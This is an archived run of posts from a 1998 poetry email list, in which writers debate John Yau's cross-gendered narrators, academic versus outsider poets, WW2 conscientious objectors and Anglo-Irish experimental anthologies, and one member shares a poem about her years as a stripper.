I recently read something of Yau's in a mag--was it First Intensity? I'm sorry--I can't recall, but it was perhaps from the new book & was the narrative of a stripper & I found it rather disturbing in that the narrator was kind of dumb & angry & thought highly of her breasts (no prob with that in & of itself) & little of men in general--she was kind of a jaded line drawing of a woman--with the interior monolog of a stereotype, which I suppose is okay, though as this thread goes to show, the whole male/female or masc/fem question is much more complex than Yau's piece implied, and I guess I just felt annoyed that he was willing to throw another stereotype my way.

louis stroffolino wrote:

> *Has anybody here read Yau's new Black Sparrow book?*
> *In it, there is much "cross-gendered identification"*
> *that---though it is written by a male--seems to, er,*
> *"rupture patriarchal discourse" and could serve as*
> *a complement to, say, Carla Harryman who also engages*
> *in "cross-gendered" identification. I think Yau does*
> *a very good job at trying to speak AS woman "other"*
> *and negotiating the representational anxieties that*
> *might attend the "presumption" of such a task.....*
> *but would be very interested to hear opposing views....*
> *chris stroffolino*

On Wed, 22 Jul 1998, Linda Russo wrote:

Rah rah.

I'm glad to see Safdie Joseph annoyed with the "position" that feminism had seemed to put Todd in (in reading the original post, before Todd's brilliant comeback) -- as an apologist. Elizabeth Treadwell makes the same point as well (though I have definite issues with Postfeminist Playground, for another post).

I wish we could just do away with the gender essentialism which causes so many with physical bodies to feel they have to apologize for some appendage or other. I'm intrigued by the problems women (and other 'others') face in trying to enter the current the forums/debates etc. -- very material problems (as Woolf pointed out early on) rooted in patriarchal biases.

But it's more fruitful to continue mucking things up, to keep getting more and more challenging writing published, to continue framing

> *experiment as a rupture of "patriarchal laws" (Kristeva's argument; what Woolf recognized as "convention," what Bernstein has called "populist realism" etc) -- to recognized that oppression is at work, even that gender oppression is at work, but to quite calling the counter/re/active strategies "feminine"! or to call it feminine and stop stop linking this to (women's) biology! Or we all really do have the Anxiety of Influence -- we're all a bundle of nerves!*
>
> *Until we get some intelligent conversation going to reframe the issues (and reframe them for feminist literary scholarship) we're going to be beaten over the heads with said appendages. (Not that it isn't out there -- Judith Butler, for example -- But to what extent has it made its way into contemporary poetics discussions?)*
>
> *Todd's comeback:*
>
> *being "stuck' has to do with our discussion of (bad spelling...er..) gender roles and structures in poetics. If one is aware of a gender role or gender model--then I believe on is "stuck" within the defintion and confinement of terminology. I do not believe tho that one is punished or "jailed" as in "stuck in prision..stuck in my room". The thing is that "stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

↑ Index

833. **louis stroffolino**

Re: Question of a "good war"

Fri 31 Jul 1998

Thanks Ron Silliman--I didn't mean to "make light" of it either with my reference to Lowell.... I am definitely aware of speaking as one who was

"socialized" by a vietnam-era anti-war attitude..... yet to what extent america helped create (fertile ground for) Hitler (humiliation of germany after ww1,"our own" fledgling imperial desires, the support then given germany as against communism, etc. etc.) would probably need to be addressed-- (and by one with the pull of spielberg!) .....cs On Fri, 31 Jul 1998 [redacted] wrote:

> *I would never make light of the decision to participate in WW2. I don't think that stopping Hitler was optional.*
>
> *But having seen the photos my own father took in Nagasaki one month after the bombing there (though never having spoken with him about this),*
>
> *And thinking not just of Lowell, but of Creeley choosing to drive an ambulance in Burma, and of Whalen, Rexroth and others in the C.O. camp in Oregon, it certainly does seem that it was possible to step back and decide, for perfectly good reason, to say no. None of these people (not even Lowell) was an idiot.*
>
> *Ron Silliman*

↑ Index

834. **Mark Prejsnar**

Re: Poetics programs, etc.

Fri 31 Jul 1998

On Thu, 30 Jul 1998, Kathy Lou Schultz wrote:

> *This may just be my beef, but I get a little annoyed with anyone who has an MFA, MA, PHd in poetry (of whatever version) claiming to be "outside the academy." I, for one, believe this is a dated notion that no longer applies. Experimental writers ARE in the "academy." Susan Howe at Buffalo, Nathaniel Mackey at Santa Cruz, Myung Mi Kim at San Francisco State, Bob Perelman at U Penn, and etc. and etc.*

Er, who precisely makes this claim, who has a degree?? any of these folks (Howe, Mackey, etc...?) They do indeed teach, and i don't know as i have ever heard/read any of 'em claim to be "outside the academy"...

Of course, some of us are, in many important senses. (OK i am clerical support-staff at a university, but like most support-staff, i'm way outside the academics that go on there..This just for clarification..Since i have no graduate degrees i realize the above couldn't have been aimed at me, even if you knew me from adam, which i suspect you don't...)

Whence this little tirade??

mark
@lanta

↑ Index

835. **Robert Archambeau**
Re: anglo-american literary relations
Fri 31 Jul 1998

> *Any suggestions for more*
> *contact, more mutual spreading of knowledge?*

My only suggestion is the obvious: get your hands on the British and Irish books. Unfortunately, this is often easier said than done from this side of the Atlantic.

The best way to get the Irish "buried experiment" is through Billy Mills' latest catalog, available at this address:

Alternative Irish Poetries Distribution List
c/o Billy Mills
37 Grosvenor Court
Templeville Road
Dublin 6W
Eire

If you just can't wait a minute longer, call:
353 1 [redacted]

Loads of good stuff, from the 30s to last week.

Bob Archambeau

↑ Index

836. **Mark Prejsnar**
Re: anglo-american literary relations
Fri 31 Jul 1998

On Fri, 31 Jul 1998, Douglas Oliver wrote:

> *"Other", as I fondly call it, has already been cited on the Buffalo list: I'd like to re-emphasise that it's the first anthology of British and Irish experimental writing to be published in the States for decades. The*

No!! The Potes & Poets anthology Floating Capital : New Poets from London (1991) is superb.

And there was a special fat issue of New American Writing, which (despite the mag's title) was a similar anthology of non-mainstream Brits. It isn't in my

humble opinion as good as Floating Capital, but it is good. (Came out 1989-1992, somewhere in there...)

mark prejsnar
@lanta

↑ Index

837. david bromige
creeley and WW2; s. howe, writings about
Fri 31 Jul 1998

Ron, Creeley, with only one eye, would not have qualified for the army. I believe he joined the ambulance corps as the next best thing he could do to take part in the war. Your list today seems to lump him together with C.O.s.

For those who want to read about Susan Howe, I'd like to add to Peter Quartermain's list my own article, published in Magill's Literary Ecnyclopedia, which category and issue I dont now recall, but there'll be an index.

Vtw, speaking of Silliman and Literary Ebcyclopediae, Volume 29 of the Gale Research Autobiography Series has a wonderful piece done by Ron, in a volume that also contains good articles by Ann Ericksaon and Gerald Rosen and Stephen Sandy.

David

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838. Fredrik Hertzberg LIT
Shoptaw III
Fri 31 Jul 1998

Thanks for many helpful backchannel tips on what poets have used prosodic measures such as the charecter, word, phrase, etc. But again, I ws hoping to hear about _critical/ theoretical_ texts in which such measures are introduced/ used/ discussed. Or where prosody or the poem's soundscape is discussed in terms of syntax, grammar, instead of meter or phonology.

:: Reading John Shoptaw's "The Music of Construction - Measure and Polyphony :: in Ashbery and Bernstein" (in The Tribe of John) I'm just wondering who :: else has used these units of prosodic measurement - character, word, :: line, phrase, sentence, section. I'm aware of Silliman's use of :: sentence but not much else.

Fred Hertzberg

↑ Index

839. Reinfeld, Linda
Susan Howe
Fri 31 Jul 1998

Don't forget the issue of *The Difficulties* on Susan Howe, the (more recent) issue of *Talisman* -- and my book, *Language Poetry: Writing As Rescue*(LSU Press, 1992), which includes a chapter on Howe's work (chapters on Berstein and Palmer as well).

Linda Reinfeld
Rochester, NY

↑ Index

840. louis stroffolino
Re: Poetics programs, etc.
Fri 31 Jul 1998

years ago, when susan howe was at temple, she accussed a
certain poet (i mean 'dismissed' a certain poet--who will
remain nameless--) as an "academic"....
i don't know if she still does this, and i certainly
don't hold it against her (she wasn't as far "in"
the academy then as now), but it did resonate strongly
with some fellow students of mine....
anyway, just to answer.....cs

On Fri, 31 Jul 1998, Mark Prejsnar wrote:

> *On Thu, 30 Jul 1998, Kathy Lou Schultz wrote:*
>
> *This may just be my beef, but I get a little annoyed with anyone who has an MFA, MA, PHd in poetry (of whatever version) claiming to be "outside the academy." I, for one, believe this is a dated notion that no longer applies. Experimental writers ARE in the "academy." Susan Howe at Buffalo, Nathaniel Mackey at Santa Cruz, Myung Mi Kim at San Francisco State, Bob Perelman at U Penn, and etc. and etc.*
>
> *Er, who precisely makes this claim, who has a degree?? any of these folks (Howe, Mackey, etc...?) They do indeed teach, and i don't know as i have ever heard/read any of 'em claim to be "outside the academy"...*
>
> *Of course, some of us are, in many important senses. (OK i am clerical support-staff at a university, but like most support-staff, i'm way outside the academics that go on there..This just for clarification..Since i have no graduate degrees i realize the above couldn't have been aimed at*

> *me, even if you knew me from adam, which i suspect you don't...)*
>
> *Whence this little tirade??*
>
> *mark*
> *@lanta*

↑ Index

841. **Mark Prejsnar**
Re: Poetics programs, etc.
Fri 31 Jul 1998

On Fri, 31 Jul 1998, toddbaron wrote:

> *ps: odd to say, but even at an Art school--Williams was news, Olson was a shock, Dickinson scared them--and Ashbery, O'Hara, Spicer--Hejinian, Scalapino--etc...were all revelations--and I was one of 5 teachers who focused on literature and poetry! I have friends who teach inside the "academy walls"--and they do amazing work--but each and everyone say it is a struggle to persuade dept. heads to change coursework..to have readings..to get work done that follows the course of late-20th century poetics! Imagine that problem in an art dept.!*

This is germane to the interesting reflections by Bruce Andrews (somewhere in Paradise and Method), about the disparity he found, in the mid-, late-sixties, when starting out as a poet, between how much modernism "the establishment" accepted and understood in classical music, painting, dance, film, jazz, etc. and how much modernism was accepted or understood in the world of poetry (i.e., zilch). Leading him to look to other arts primarily for contemporary inspiration and example...

mark p.

↑ Index

842. **Don Byrd**
Re: Poetics programs, etc.
Fri 31 Jul 1998

At 01:02 PM 7/31/1998 -0400, Chris Stroffolino wrote:
> years ago, when susan howe was at temple, she accussed a
> certain poet (i mean 'dismissed' a certain poet--who will
> remain nameless--) as an "academic"....
> i don't know if she still does this, and i certainly

> don't hold it against her (she wasn't as far "in"
> the academy then as now), but it did resonate strongly
> with some fellow students of mine....
> anyway, just to answer.....cs

Being an "academic poet" has little to do with having an academic address and the notion of an academic art arose long before poets were notably teaching in universities.

In "Composition as Explanation" (1926), Gertrude Stein wrote:

"Lord Grey remarked that when the generals before the war talked about the war they talked about it as a nineteenth-century war although to be fought with twenieth-century weapons. That is because war is a thing that decides how it is to be done when it is to be done. It is prepared and to that degree IT IS LIKE ALL ACADEMIES it is not a thing made it is a thing prepared.Writing and painting and all that, for those who occupy themselves with it and don't make it as it is made."

In some sense most poetry and art are academic; it has nothing to do with whether its can be stylistically identified as "avant-garde" or "traditional." The Workshops at St. Mark's may in this sense be as academic as the Iowa Writer's Workshop.

db

db

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843. **Maryrose Larkin**

Re: Poetics programs, etc.

Fri 31 Jul 1998

I do not wish to get involved with the inside/outside the academy argument, but I can say that, for me, getting an MFA was invaluable.

I received my degree from Bard College. At the time of my application, I had lived in a small (>10,000) town in upstate New York for over ten years. I applied to Bard because a) I knew where it was and b) I respected Robert Kelly. I wanted to go to school, any school, because I was desperately sick of my own writing and my own ignorance, and did not know how to fix either one.

At Bard, I got to work with some really wonderful people. At first, they just gave me a lot to read, which was mind blowing. It was beyond imaging what poetry could do. It blew the top of my head off. Then they started taking my writing apart, which was wonderful too. I learn to think about writing in a new way, and to acknowledge its enormity.

I have no idea why they admitted me to Bard. My writing was terrible and I knew nothing. I do know that most of the people who go through that particular MFA program feel their writing improves, no matter where they started.

Of the people I keep track of, one is working in a liquor store, one lives in New Orleans, one is a literacy coordinator & one lives at home. None of them are employed as teachers. They are all still writing.

If anything, getting an MFA has decreased my chances for material success in this world. When I go on job interviews, people either think I am overqualified or under qualified. While I was going to school, a lot of people asked me what I was going to do with this degree, and I said that one doesn't necessary do anything with it. One might become a better writer.

A while back, there was a comment that people should use the money they spend on school and go live in New York or San Francisco instead. In some ways, that is true. I would have had a lot more exposure to different writings and individuals. I am a very shy person (for example, I have been on this list for over 2 years, and this is my second post, I think). I don't think I would have been able to talk to people about writing from just living in a city. It is possible now that I might be able to live in a city and talk to strangers, but I couldn't then.

For me, meeting other people who really cared about writing, having a mixed community of peers and teachers, having my writing improve and having poetry and poetics become so much larger was well worth the cost of admission.

Maryrose Larkin

↑ Index

844. Mark Prejsnar
Re: Poetics programs, etc.
Fri 31 Jul 1998

I think your reflections on this are highly interesting, Don...But i don't believe Kathy's original point, or what most of us have been saying, is about people being "academic poets." Rather it's about a *socioideological location* Being an academic poet is another matter. While Bob Gruman (inventor of "acadominant" as a label for langpots) and other will disagree, i consider the *work* of Howe and Perelman and our distinguished ListHoncho to be about as far from "academic poetry" as any i've ever seen. But they are the ones who've (correctly) been enumerated as otherstream poets teaching in the academy...Now Chris has also pointed out, in response to my challenge, that some of 'em are (or have been) capable of dismissing other poets as "academics.." Which i agree is very interesting and enlightening indeed...

mp

On Fri, 31 Jul 1998, Don Byrd wrote:

> *At 01:02 PM 7/31/1998 -0400, Chris Stroffolino wrote:*
> *years ago, when susan howe was at temple, she accussed a*
> *certain poet (i mean 'dismissed' a certain poet--who will*
> *remain nameless--) as an "academic"....*
> *i don't know if she still does this, and i certainly*
> *don't hold it against her (she wasn't as far "in"*
> *the academy then as now), but it did resonate strongly*
> *with some fellow students of mine....*
> *anyway, just to answer.....cs*
>
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>
> *In some sense most poetry and art are academic; it has nothing to do with whether its can be stylistically identified as "avant-garde" or "traditional." The Workshops at St. Mark's may in this sense be as academic as the Iowa Writer's Workshop.*
>
> *db*
>
> *db*

↑ Index

845. **Gary Sullivan**
Groovy Stein Collaborator on "Academic"
Fri 31 Jul 1998

"I call them academic because I think the composer's interest in the musical devices he was employing was greater than his effort toward a direct ... expression of anything in particular." --Virgil Thompson

Also, my Nordic American e-friend Erik "Ice" Belgum sent me the paragraph which follows. Anyone have any responses they'd like to backchanel? --Gary

I'm working out a new theory about the jacket design of New Directions books.

Basically, I'm claiming that they are designed to look like they already smell like cigarette smoke. That way when they do smell that way, after years of reading while smoking, no one is surprised. A corollary of this theory then is that smokers buy more New Directions books than non-smokers and that's why Laughlin designed them this way.

Did Laughlin smoke? (As if I didn't know!)

Your thoughts...

↑ Index

846. **Gary Sullivan**
My Definition of Academic
Fri 31 Jul 1998

Arguing about the word/status "academic."

↑ Index

847. **R. Gancie/C.Parcelli**
the end of the Hilbertian experiment
Fri 31 Jul 1998

"At the end of the Hilbertian experiment, Davis and Hersh assert,

'The actual experience of all schools--and the actual daily experience of mathematicians--shows that mathematical truth, is fallible and corrigible....It is reasonable to propose a different task for mathematical philosophy, not to seek indubitable truth, but to give an account of mathematical knowledge as it really is--fallible, corrigible, tentative, and evolving, as is every other kind of human knowledge.'

Not much in this line has been done, though one astounding book has shown what can be: Imre Lakatos' Proofs and Refutations: The Logic of Mathematical Discovery (1976) gives a detailed account of the rhetoric of the Descartes-Euler

theorem on polyhedra...."---from The Rhetoric of Economics by Donald N. McCloskey---Carlo Parcelli

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848. **R. Gancie/C.Parcelli**
Re: Question of a "good war"
Fri 31 Jul 1998

---

louis stroffolino wrote:
>
> Thanks Ron Silliman--I didn't mean to "make light" of it either
> with my reference to Lowell....
> I am definitely aware of speaking as one who was "socialized"
> by a vietnam-era anti-war attitude.....
> yet to what extent america helped create (fertile ground for)
> Hitler (humiliation of germany after ww1,"our own" fledgling
> imperial desires, the support then given germany as against
> communism, etc. etc.) would probably need to be addressed--
> (and by one with the pull of spielberg!)
> .....cs
> On Fri, 31 Jul 1998 [redacted] wrote:
>
> > I would never make light of the decision to participate in WW2. I don't think
> > that stopping Hitler was optional.
> >
> > But having seen the photos my own father took in Nagasaki one month after the
> > bombing there (though never having spoken with him about this),
> >
> > And thinking not just of Lowell, but of Creeley choosing to drive an ambulance
> > in Burma, and of Whalen, Rexroth and others in the C.O. camp in Oregon, it
> > certainly does seem that it was possible to step back and decide, for
> > perfectly good reason, to say no. None of these people (not even Lowell) was
> > an idiot.
> >
> > Ron Silliman
> >

Stroffolino's points are extremely important as they are context by which we avoid sentimentality and error.---Carlo Parcelli

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849. **Gary Sullivan**
VACATION!
Fri 31 Jul 1998

I'm off for two weeks, everyone! Yay! Now, I know full well I owe at least a couple people on this list responses, readings, e-mails & god knows what else, I hope not money. Soon! I swear! Whatever it is! It's yours! I'm just too exhuasted! To deal! Now! Anyway. Anyone who has any "must have Gary's attention" needs (or if you just wanna chat endlessly about afro-cuban music or Chantal Akerman's underarms [as seen in je tu il elle]) may please-to-dial [redacted] or write me write me write me Gary Sullivan, 331 - 13th Street, #4L, Brooklyn, NY 11215. Also, I don't mean to use this list to, like, "score drugs" or anything, but ... especially please-to-call me if you ... how can I say this ... & make it PoeticsList relevant? ... oh, okay, I have a question for everyone was it laudanum or opium that coleridge used? ... personally, I've always preferred XTC ... (wink, wink) ... cough ... cough-cough ... "nonsense filter"?!? ... puh-LEEZE ... when I git back I wanna see 4,000 derisive posts arguing for & against an "esperanto para poesia!"

ciao for niao,

Gary

↑ Index

850. **Robert Corbett**
Re: anglo/amer yeatspound
Fri 31 Jul 1998

Henry-

Aren't there more than two side? Where are the sides exactly? Are they the sides of the same coin. I would ask ask who side you are on, but I know which one. Modernism/Postmodernism are not "trends" -- they are the air we breathe. Anyone who says otherwise is itching for a fight. I don't know about Mandelstam, but Nabokov would be unreadable before modernism, counting our interest in the abject and the hyperironic. Of course, some of us find him unreadable anyway. And he was a crank so perhaps there is yet another side to join.

Robert
Purveyor of Poetry Siding

On Fri, 31 Jul 1998, henry wrote:

> *On Fri, 31 Jul 1998 00:24:28 -0500 trbell said:*
> *Henry,*
>
> *Thought-provoking thesis, but I'm not sure how there can be disjunction without synthesis and vice-versa*
>
> *or maybe verse-vica squad:*
>
> ```
> _Lettre-Ocean_
>                 QQQQQQQQQQ
>                    Q     Q
>                     Q Q
>   Q                 Q     Q Q
>  Q  Q       --->     Q     Q    Q
> Q    Q               Q     Q     Q
>  Q  Q       <---     Q  Q        Q
>   Q                 Q        Q
> ```
>
> *there would then be two sides to one coin?*
>
> *Absolutely right, Tom. I'm just reminding the list that there ARE 2 sides.*
> *- Henry*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

851. MAYHEW
Huranku Ohara
Fri 31 Jul 1998

Frank O'Hara also has some disciples in Japan, I believe:

I am not a sushi-chef, I am a noodle maker, why?
I think I would rather be a sushi-chef, but
I am not. For example, I go to my friend's restaurant,
he is making some nori, there is a sardine in it.

"Ano, sono sakana ga nan-desuka?" I ask him.
It needed something there, he explained. But I,
I am a noodle maker...

With greatest apologies,
Jonathan Mayhew, academic poet
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

852. **Mark Prejsnar**
Enigmatic Listmember on "Academic"
Fri 31 Jul 1998

On Fri, 31 Jul 1998, Gary Sullivan wrote:

> *"I call them academic because I think the composer's interest in the musical devices he was employing was greater than his effort toward a direct ... expression of anything in particular." --Virgil Thompson*

Hmmmmmm...GS seems to be more interested in the device he's employing (the pithy but accusatory quote) than in direct expression of anthing in particular (..such as, who he thinks Thompson's groovy dictum referes to, among poets)....

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853. **John Latta**
Re: My Definition of Academic
Fri 31 Jul 1998

Exactly. What I notice is how academics of all stripes (like prisoners of yore) must needs scramble always to the margins, those now fashionable outposts. Those everywhere in the thickest of the thick of it claiming they ain't. Reminds me of Walker Percy's image of the man on the crosstown bus reading about alienation: he ain't no way so alienated as the alienated man who can't even conceive of reading about alienation.

For the record: solidly clerical (library); MFA (mainstream); PhD (on the edge of the backwash or, switching metaphors, neglected sibling to one of the big poetics programs).

I have taken to identifying with Akaky Akakievich, academically so.

We're all academics. (Echo of Mai 68.)

John Latta

On Fri, 31 Jul 1998, Gary Sullivan wrote:

> *Arguing about the word/status "academic."*

↑ Index

854. **toddbaron**
Re: Poetics programs, etc.
Fri 31 Jul 1998

Kathy Lou Schultz wrote:
>
> This may just be my beef, but I get a little annoyed with anyone who has
> an MFA, MA, PHd in poetry (of whatever version) claiming to be "outside
> the academy." I, for one, believe this is a dated notion that no longer
> applies. Experimental writers ARE in the "academy." Susan Howe at
> Buffalo, Nathaniel Mackey at Santa Cruz, Myung Mi Kim at San Francisco
> State, Bob Perelman at U Penn, and etc. and etc.
>
> So you wanna be in the "academy"? Can't say that I would necessary
> "recommend" San Francisco State University's MFA (having gotten it
> myself) but it's worth checking out for those who want the
> degree/experience. Besides the aforementioned Myung, Bob Gluck is a new
> tenure track professor there starting this fall (after having taught
> part-time for eons, but that's another story, actually not, it has to do
> with opposing political forces in the dept.). Aaron Shurin has taught
> part-time for quite a while also. And Maxine Chernoff is a good new
> leadership force as chair of the dept. (We couldda used her while I was
> there!)
>

well--I hold an MA in Poetics--have taught at the Community College level--and at the Otis Art Institutte--then made a shift to middle school (7th grade) and certainly am "outside" both the academy and much else. It is possible to hold those degrees and not join up. I would add, too, that "outside" don't mean much--BUT--that often the "academy" has focused on poets and poetics that don't address what is being read or written by "innovative" (er, experimental?) er--poets.

Todd Baron
(ReMap)

ps: odd to say, but even at an Art school--Williams was news, Olson was a shock, Dickinson scared them--and Ashbery, O'Hara, Spicer--Hejinian, Scalapino--etc...were all revelations--and I was one of 5 teachers who focused on literature and poetry! I have friends who teach inside the "academy walls"--and they do amazing work--but each and everyone say it is a struggle to persuade dept. heads to change coursework..to have readings..to get work done

that follows the course of late-20th century poetics! Imagine that problem in an art dept.!

↑ Index

855. **MAYHEW**
Yeatpound
Fri 31 Jul 1998

I read Yeats now as a sort of bizarre oddball, rather than as a high-modernist, an official role that sort of trapped him. In "a prayer for old age" he wanted to eschew respectability in favor of madness. Is Yeatsianism played out? Yes, to the extent he is identified with a particular sort of aesthetic conservatism that has passed its prime. No, if we read him somewhat differently. I love parts of Yeats and would not oppose him to Pound completely. There are more than two sides--modernism is more like a twelve or thirteen sided figure. To paraprhase Perloff, Pound/Stevens/Stein/Yeats/Williams/Maiakovsky/Vallejo... whose period?

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

856. **toddbaron**
PS: THE LAW
Fri 31 Jul 1998

KATHY:

ps: one reason--to be addressed I hope--that many of the poets you mention are inside the academy--is work. Plain and simple. I know they are great teachers--but boy did they spend years fighting to get in--and they/we all need the damn steadiness of the work. I chose to teach Middle School becauseI love kids--and the steady check--my summers off simply allow me to remind myself how much joy there is in the serios work of a poet--but that--hereabouts--frightens my 40 year old mind and body--and no-one I know who writes can really afford not to work at all. Tho--of course--there are some--and they teach out of the joy and conflict teaching allows.

What would happen tho if all these poets--if all these writers--had the choice to collect their checks and not teach? Many would stay where they are--they are

often doing the amazing work of keeping students readings and thinking! The academy ain't evil--but it does have an evil face!

↑ Index

857. Christine Palma

Your contact information, please.

Fri 31 Jul 1998

Hello Friends,

Because of a SCSI termination problem I've lost all of the files on my computer. Among other things - my eudora folder with various saved e-mail from over the past four years, all of my e-mail addresses, and it also zapped my regular address book. Data recovery attempts have failed. I don't have a hard copy of anything and I didn't back up... Yes, I was cocky to think it wouldn't happen to me, and even I don't feel sorry for myself.

Today a friend reinstalled a bunch of apps to get me up and running. All I can think about right now is that I would sure like to rebuild my address book and e-mail list.

If you gave me your contact info in the past, please send it again. Sorry for this form letter (I am sending it to my various lists), but it seems like the most efficient way to ask.

name/nickname

e-mail

phone number

mailing address

date of birth

I'm sad :-(,
Christine

.....
Christine Palma

KXLU Los Angeles - 88.9 FM
"Echo in the Sense"
Countemporary Writers, Artists, and Performers.
Saturday Evenings, 8 to 9 PM

take a step into the sublime...

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858. **Karen Kelley**
Re: John Yau's MY SYMPTOMS
Fri 31 Jul 1998

Hi Chris,

It's true, I've not read all of _My Symptoms_, and I didn't at all mean to dismiss the book. The idea of the title suggesting a masked male is quite interesting.

You also note: "This piece is--on one level--about whether identity is contingent not only on gender (or sex), but also on one's choice of profession."

We all choose & choose not to buy into our socially constructed gender identities, and choose & choose not to buy into our identities as contingent upon our professions. I've done/been lots of things, but try not to get too attached: overidentifying myself as a *poet* is as irritating to me as overidentifying myself as an ex-stripper. Interestingly, though, the stripper portion of my experience, which took up only 2 years of my 40, is the one that people focus on most & draw the largest number of conclusions about. The fact that I taught adult ed during that same time is, apparently, neither here nor there. The fact that I was a dancer is a strange demerit mark, dark & irreversible.

I got a tattoo when I was 17: back then, it was viewed by peers & parents as something irrevocable, signifying wantonness (esp. for a woman) & transgression. Getting a bachelors degree during that time, by contrast, was socially transparent. It was okay for me to be college-educated, and it even faded the intensity of the tattoo.

Now, of course, tattoos come & go with the swipe of a laser & are even trendy, so the tattoo has turned into something else again.

Dancing, while *in part* a survival move in the transition from housewife to divorced single-parent-with-no-child-support & degrees in sculpture & writing (contemplate *that* earning power), was also a fascinating experience in what I could absorb identity-wise. I suspect it is something that will *not* fade socially, as the tattoo did. It's an experience I still haven't fully digested, and perhaps will never be able to, but I am reluctant to over-intellectualize it, because I don't want to tidily categorize my own experience.

I've written about dancing once, as portion of a larger poem & include it (since our subject *is* , after all, immodesty):

That’s me, displaying.

movable dream lab.

inside the lid: something long buried: subdued light, carpeted floors, stairs, bird beak, a

couch of some kind, forgotten books, stones, dirt, water, beautiful illegible scribbles, voices down the hall narrating as if a whole new continent I have been listening to all my life passing under the roof of my mouth, inwards.

_during her time on stage
green envelops her, at other times
other hues, notably deep blue._
wedding rings and husbands
and wives rise urgently,
sometimes turning into a cry.
_I work with a small stash of
movements and gestures, the
meaning of which is fluid._
there are several other styles of walking
which accentuate gait or pace. a
suggestive movement pierces through
the relatively smooth surface.
at this moment she is low
on the ground. the deceptive nature
of the dance glides slowly towards
shape—is it an arm or wing?--that
comes down from the ceiling
and fits into her chest.
the shape now appears to be one
hand pointing downward to
great advantage when she takes off
an article of clothing in front of
spectators. the actions of dressing
and undressing are far from natural,
a facet of the teasing process—now
you see me, now you don't. just
before the show ends and you think
you might have got it, the beautiful
dress has come off some time before.

I am alone. Vast views and the feeling of being forever and ever alone. My secret hiding places are woven around my body, shortcuts known only to me when I sink upon my knees. _Stiletto_—is that a curse, is that a whisper? Eyes, mouth, breasts, hips, hands. Nothing after that is denied me: birds freeze in midair and fall like stones to the ground.

And widow's weeds, bridal veils, bassinets, memorial wreaths, trousers, whiskers, wedding cakes, maps. My costume hides the fact, the great fact, the only fact. Faithless, fickle, whore, deceiver. Now I have the queerest sensation

in my thighs. There's washing and powdering and lies in my teeth like ghosts within me, a covey of swans, undulant and florid. Somehow I still don't know how I do it. The men's faces are a thin gauze rising and falling, turning like a slow arrow. _What's in there?_ I have a variety of selves who have forgotten my name, as happens when one wishes to be nothing but one self. Corners of streets, bowls, bodies, windows and apples travel the immensely long tunnel of real things. Pictures should somehow be suspended between you and me, between the spectator and the dancer, equidistant from both. This promise is a glass of wine, an arm, it changes, it shapes itself differently, the one I need most keeps aloof, I fling after my

name a little breath of crying and dancing. I see it falling and there it is, alone on the stage as if my life does in fact run or hurry before me, picking out one particular thing, the thing that matters, is it good, is it bad, is it right or wrong?

I have looked upon the aesthetic as the ethical.

I waver about in an air of secrecy. The heels make my weight fall in different directions, the looks over my shoulder help to stabilize my position. How nice it would be to marry a man—oh no, that idea someone else invented, raising her hand to her brow—it is not so. Instead of saying anything I turn, holding my stocking, and look at you.

louis stroffolino wrote:

> *Thanks, Karen Kelley, for your reponse....Well, spilling it (or*
> *stripping it--since strippers are artists), I have many responses--*
> *only some of which I can touch on here. One would be to ask you how*
> *YOU would represent what goes on in the mind of a stripper (or*
> *to direct me to work of yours that deals with this)....*
> *Another response would be to agree with you (up to a point):*
> *Let's say that--in the particular passages you quote--that Yau*
> *is probably closer to what men think women are than to the*
> *actuality of a woman who may strip her clothes but yet not*
> *"Spill it" (her mind). But, if you look at the entire book*
> *(in which there are a variety of female characters, some as "I"*
> *and some as "she"), or even if you look at this particular piece*
> *in question IN ITS ENTIRETY, you might find that at least Yau is*
> *self-conscious (and meta) enough to admit this possibility (even*
> *the choice of title of the book, MY SYMPTOMS, calls attention to*
> *the possibility that the female speaker is a "masked male" etc...*
> *(a la Shakespeare)....*
> *I wonder if women who represent male characters in ways that might*
> *seem "stereotypical" or "derogatory" (or "positively" even) have the*
> *same problem (I'm not saying that I don't like reading such writing*
> *by the way: I learn much from it). Certainly not every woman writer*
> *is as extreme as Jane Austen who never had a scene in which two male*
> *characters appear without any women in the the scene (because she*

only wrote "what she knew"), nor am I suggesting they should do so....

I don't know enough about how dancers are "stereotyped" to comment on whether Yau is, in fact, doing it. In my experience (admittedly little) with strippers, the "stereotype about strippers" is "we only do it for the money. We get little or no intrinsic thrill out of exhibitionism, and we certainly see it more as humiliation than as any kind of 'grrrl power' over men." And in this particular story (which is good, but not--in my opinion, one of the best pieces in MY SYMPTOMS--I say this by way of "sales pitch" I guess), Yau goes very much against THAT stereotype, and yet elsewhere in MY SYMPTOMS he sympathetically portrays a woman who "had been a model, it was her boyfriend's idea. He brought her to New York when she was 17 and finally pushed her up the stairs the agency, even though she had been crying non-stop for two days."(120). So, I think we see a range here of attitudes towards female exhibitionism rather than an AGENDA proferring "proper" female roles. And if both these characters--taken alone--may run the risk of becoming "stereotypes," I believe that by offering a range, these "stereotypes" cancel each other out (again, like Shakespeare presenting both a Beatrice and a Hero in the same play for instance--so the "truth" can be somewhere "in between" for a wider range of readers...)...

Besides, you take OUT OF CONTEXT a few quotes that all occur near the beginning (in the first 2 pages) of an 8 page story. In "Butcher, Baker..." the woman is only a stripper for the first two pages. Later on, the woman character, an EX-stripper, single-mother, is expressing her attraction to firemen, and raises all these doubts about her motivations: "i don't know why I have this thing about firemen, but I do...maybe it's because I think in metaphors and I should learn to think some other way..." (Yau himself a metaphorical thinker, going against the traditional anti-metaphorical prejudice that linked metaphor and women, in Locke, in Renaissance Rhetoricians like Puttenham, etc., though nowadays some claim it's a feminist argument to argue AGAINST metaphor....blah blah).
